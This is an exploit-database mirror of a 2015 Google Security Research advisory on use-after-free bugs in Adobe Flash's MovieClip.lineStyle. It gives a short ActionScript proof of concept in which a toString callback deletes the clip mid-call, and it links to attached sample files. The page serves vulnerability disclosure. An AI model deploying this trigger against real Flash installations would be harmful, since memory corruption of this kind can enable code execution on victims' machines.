Adobe Flash MovieClip.lineStyle – Use-After-Frees

  • 作者: Google Security Research
    日期: 2015-12-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39021/
  • Source: https://code.google.com/p/google-security-research/issues/detail?id=558
    
    There are a number of use-after-frees in MovieClip.lineStyle. If any of the String parameters are an object with toString defined, the toString method can delete the MovieClip, which is subsequently used. A PoC is as follows:
    
    this.createEmptyMovieClip("triangle_mc", this.getNextHighestDepth());
    var o = {toString: func};
    triangle_mc.lineStyle(5, 0xff00ff, 100, true, o, "round", "miter", 1);
    
    function func(){
    	
    	triangle_mc.removeMovieClip();
    	return "none";
    	
    	}
    
    A sample swf and fla are attached.
    
    
    Proof of Concept:
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39021.zip